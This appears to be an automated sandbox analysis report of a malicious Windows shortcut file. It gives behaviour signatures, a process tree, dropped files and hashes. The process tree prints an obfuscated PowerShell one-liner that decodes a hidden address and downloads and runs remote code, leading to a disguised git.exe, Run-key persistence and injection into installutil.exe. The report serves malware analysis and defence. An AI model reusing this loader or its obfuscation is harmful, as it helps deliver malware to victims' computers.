Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    27/07/2026, 12:17

General

  • Target
    photov_079359259606.lnk
  • Size 1KB
  • Sample260727-pgaxqaag69
  • SHA256 abcac768894b9fa52f239fd1174e4f93de9486d793761aa61d571a4e3431c66f
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Badlisted process makes network request 13 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 21 IoCs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\photov_079359259606.lnk
    1⤵
    • Checks computer location settings
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2204
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c powershell -c "$nrqbi62=85;$ppwkqeo=87;$jc50421zd=[bigint]::Parse('9957656818713254711674126930215369170141281');$i6zzc=[bigint]::Parse('5964418006189389665902507398813365066984');$jc50421zd=$jc50421zd-$i6zzc;$a0ozlcb915=@();while($jc50421zd -gt 0){$a0ozlcb915+=[char][int]([bigint]::Remainder($jc50421zd,256));$jc50421zd=[bigint]::Divide($jc50421zd,256)};.([scriptblock]::Create((irm(-join$a0ozlcb915))))"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3532
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -c "$nrqbi62=85;$ppwkqeo=87;$jc50421zd=[bigint]::Parse('9957656818713254711674126930215369170141281');$i6zzc=[bigint]::Parse('5964418006189389665902507398813365066984');$jc50421zd=$jc50421zd-$i6zzc;$a0ozlcb915=@();while($jc50421zd -gt 0){$a0ozlcb915+=[char][int]([bigint]::Remainder($jc50421zd,256));$jc50421zd=[bigint]::Divide($jc50421zd,256)};.([scriptblock]::Create((irm(-join$a0ozlcb915))))"
        3⤵
        • Badlisted process makes network request
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1436
        • C:\Users\Admin\AppData\Local\mjctmqyj9__upd_uglm\git.exe
          "C:\Users\Admin\AppData\Local\mjctmqyj9__upd_uglm\git.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Adds Run key to start application
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:3940
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2008
  • C:\Users\Admin\AppData\Local\mjctmqyj9__upd_uglm\git.exe
    "C:\Users\Admin\AppData\Local\mjctmqyj9__upd_uglm\git.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3584
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5012
  • C:\Windows\system32\cmd.exe
    "cmd /c start "" /D "C:\ProgramData\GitWinx86" "C:\ProgramData\GitWinx86\git.exe""
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4628
    • C:\ProgramData\GitWinx86\git.exe
      "C:\ProgramData\GitWinx86\git.exe""
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of SetThreadContext
      • Suspicious use of WriteProcessMemory
      PID:4136
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:6404
  • C:\Windows\Temp\DCRCVDrv.sys
    C:\Windows\Temp\DCRCVDrv.sys
    1⤵
    • Executes dropped EXE
    PID:1108

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        libiconv-2.dll

        • Path C:\ProgramData\GitWinx86\libiconv-2.dll
        • Size 1.1MB
        • SHA256 7a282a854e01be726c6cccfe46f548c716aa45b3014818468253aaa4efbcd067
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libintl-8.dll

        • Path C:\ProgramData\GitWinx86\libintl-8.dll
        • Size 291KB
        • SHA256 0537c3dd2378218508ebe3cc416d72a99ee2d24ae1c5525e23458f32544ef861
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libwinpthread-1.dll

        • Path C:\ProgramData\GitWinx86\libwinpthread-1.dll
        • Size 3.0MB
        • SHA256 3b9a3369e4fbc9f4336247ea11cf5df3b4c44066987ff20f5f6895addb052036
        • MD5 SHA1 SHA512 SSDEEP TLSH

        msvcp140.dll

        • Path C:\ProgramData\GitWinx86\msvcp140.dll
        • Size 540KB
        • SHA256 def46aa6a8f72f27bafac0c43334419486a4d1dcdb6c479a8ef7034b3e1fa4cb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        zlib1.dll

        • Path C:\ProgramData\GitWinx86\zlib1.dll
        • Size 125KB
        • SHA256 93e9243a44c29200eeacaf9658efe2558581770e4b11ca4b500e18e424a6e3b5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        installutil.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\installutil.exe.log
        • Size 425B
        • SHA256 34ba0ab8d1850e7825763f413142a333ccbc05fa2b5499a28a7d27b8a1c5b4bb
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_sezfuzvs.j21.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sezfuzvs.j21.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        hzcquoius_udpg_ptcpa7.zip

        • Path C:\Users\Admin\AppData\Local\Temp\hzcquoius_udpg_ptcpa7.zip
        • Size 5.6MB
        • SHA256 031141870683cc41121ed8e2fbbdaa06da3720043ec448b000869cde34ebc352
        • MD5 SHA1 SHA512 SSDEEP TLSH

        VCRUNTIME140_1.dll

        • Path C:\Users\Admin\AppData\Local\mjctmqyj9__upd_uglm\VCRUNTIME140_1.dll
        • Size 46KB
        • SHA256 e6bfb3662ab4b1969a73441dbe35c96d51441b6bff8cf1fe7430bd5b246ca605
        • MD5 SHA1 SHA512 SSDEEP TLSH

        git.exe

        • Path C:\Users\Admin\AppData\Local\mjctmqyj9__upd_uglm\git.exe
        • Size 4.2MB
        • SHA256 cab4c4eea1d869cf9f7be73868dc9a90ad2df1b1b673e5f8c8714a576c25ea96
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libpcre2-8-0.dll

        • Path C:\Users\Admin\AppData\Local\mjctmqyj9__upd_uglm\libpcre2-8-0.dll
        • Size 701KB
        • SHA256 c135a87ed0f11eae8ffc4cb469671ff0b3f5d71fab5fb024e9b1e7241ca25b52
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ucrtbase.dll

        • Path C:\Users\Admin\AppData\Local\mjctmqyj9__upd_uglm\ucrtbase.dll
        • Size 1.3MB
        • SHA256 c2ed69b4a1bb9432c75134e813c70539e27c8c1fe96a784d9be78c874e93d9d5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        vcruntime140.dll

        • Path C:\Users\Admin\AppData\Local\mjctmqyj9__upd_uglm\vcruntime140.dll
        • Size 120KB
        • SHA256 184146852727a9db4eea06178716bec3cdbb1015c911f6b0f915b184ad7775b2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        DCRCVDrv.sys

        • Path C:\Windows\Temp\DCRCVDrv.sys
        • Size 137KB
        • SHA256 87e8d39db624f37d3e77aedf487a2dfd197f71a4730ea74f4e7a4341deaec2ff
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/1108-118-0x0000000000010000-0x000000000003D000-memory.dmp

        memory/1436-13-0x000001F96D220000-0x000001F96D244000-memory.dmp

        memory/1436-21-0x000001F96D250000-0x000001F96D262000-memory.dmp

        memory/1436-19-0x000001F96AA20000-0x000001F96AA30000-memory.dmp

        memory/1436-18-0x000001F96AA20000-0x000001F96AA30000-memory.dmp

        memory/1436-17-0x000001F96AA20000-0x000001F96AA30000-memory.dmp

        memory/1436-16-0x000001F96D220000-0x000001F96D22A000-memory.dmp

        memory/1436-15-0x000001F96DAF0000-0x000001F96E018000-memory.dmp

        memory/1436-14-0x000001F96AA20000-0x000001F96AA30000-memory.dmp

        memory/1436-1-0x000001F96AA20000-0x000001F96AA30000-memory.dmp

        memory/1436-12-0x000001F96D220000-0x000001F96D24A000-memory.dmp

        memory/1436-11-0x000001F96AA20000-0x000001F96AA30000-memory.dmp

        memory/1436-10-0x000001F96D3F0000-0x000001F96D5B2000-memory.dmp

        memory/1436-2-0x000001F96A9C0000-0x000001F96A9E2000-memory.dmp

        memory/1436-0-0x000001F96AA20000-0x000001F96AA30000-memory.dmp

        memory/2008-226-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/2008-182-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/2008-154-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/2008-155-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/2008-186-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/2008-210-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/2008-258-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/2008-158-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/2008-162-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/2008-166-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/2008-152-0x0000000002B50000-0x0000000002B6A000-memory.dmp

        memory/2008-170-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/2008-174-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/2008-358-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/2008-356-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/2008-178-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/2008-190-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/2008-194-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/2008-198-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/2008-202-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/2008-206-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/2008-214-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/2008-218-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/2008-222-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/2008-230-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/2008-234-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/2008-238-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/2008-242-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/2008-245-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/2008-250-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/2008-253-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/2008-279-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/2008-273-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/2008-270-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/2008-266-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/2008-262-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/3584-141-0x00007FF67A7F0000-0x00007FF67AC5F000-memory.dmp

        memory/3584-144-0x00007FFA3A4A0000-0x00007FFA3A4F2000-memory.dmp

        memory/3584-142-0x00007FFA345F0000-0x00007FFA3470F000-memory.dmp

        memory/3584-143-0x00007FFA35810000-0x00007FFA358C6000-memory.dmp

        memory/3584-145-0x00007FFA4DAD0000-0x00007FFA4DAF6000-memory.dmp

        memory/3940-150-0x00007FFA35810000-0x00007FFA358C6000-memory.dmp

        memory/3940-147-0x00007FF67A7F0000-0x00007FF67AC5F000-memory.dmp

        memory/3940-148-0x00007FFA345F0000-0x00007FFA3470F000-memory.dmp

        memory/3940-151-0x00007FFA4DAD0000-0x00007FFA4DAF6000-memory.dmp

        memory/3940-149-0x00007FFA3A4A0000-0x00007FFA3A4F2000-memory.dmp

        memory/5012-327-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/5012-318-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/5012-335-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/5012-338-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/5012-342-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/5012-346-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/5012-304-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/5012-350-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/5012-311-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/5012-153-0x0000000005250000-0x000000000527C000-memory.dmp

        memory/5012-323-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/5012-331-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/5012-315-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/5012-295-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/5012-285-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/5012-307-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/5012-299-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/5012-292-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/5012-287-0x0000000005250000-0x0000000005276000-memory.dmp

        memory/5012-2032-0x00000000054F0000-0x0000000005556000-memory.dmp

        memory/5012-2033-0x0000000006330000-0x00000000063C2000-memory.dmp

        memory/5012-2034-0x0000000006980000-0x0000000006F24000-memory.dmp

        memory/5012-140-0x0000000000400000-0x0000000000470000-memory.dmp